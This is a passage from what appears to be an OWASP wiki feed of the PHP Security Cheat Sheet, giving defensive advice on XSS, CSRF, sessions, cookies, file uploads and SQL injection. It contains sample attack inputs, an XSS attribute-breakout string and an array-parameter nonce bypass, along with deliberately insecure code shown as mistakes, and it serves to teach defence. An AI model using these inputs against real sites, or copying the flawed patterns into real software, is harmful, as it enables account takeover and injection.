Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=188945</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=188945"/>
				<updated>2015-02-03T09:19:25Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* PHP overview */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
PHP is a 'grown' language rather than deliberately engineered, making writing insecure PHP applications far too easy and common. If you want to use PHP securely, then you should be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate.&lt;br /&gt;
This is why accessing a database should always be done by using [http://php.net/manual/en/intro.pdo.php PHP Data Objects (PDO)] specified with the [http://php.net/manual/en/pdo.error-handling.php ERRMODE_WARNING or ERRMODE_EXCEPTION flags] unless there is a clearly compelling reason to use native drivers and careful error checking.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are &amp;lt;code&amp;gt;$_SERVER&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_GET&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_POST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_REQUEST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_FILES&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$_COOKIE&amp;lt;/code&amp;gt;. Not all data in &amp;lt;code&amp;gt;$_SERVER&amp;lt;/code&amp;gt; can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with &amp;lt;code&amp;gt;HTTP_&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. All of this data is combined into one array, making it almost impossible to determine the source of the data. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc. Using prepared statements and bound parameters is a much better solution. PHP's [mysqli](http://php.net/mysqli) and [PDO](http://php.net/pdo) functionality includes this feature (see below).&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. Additionally, they cannot be used for things like table names or columns in `SELECT` statements. In these cases, you should use query builder that is provided by a framework, if available. If not, several packages are available for use via [http://getcomposer.org Composer] and [http://packagist.org Packagist] Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
Always be sure to evaluate the code of *any* ORM you use to validate how it handles the execution of the SQL it generates. Ensure it does not concatenate the values and instead uses prepared statements internally as well as following good security practices.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
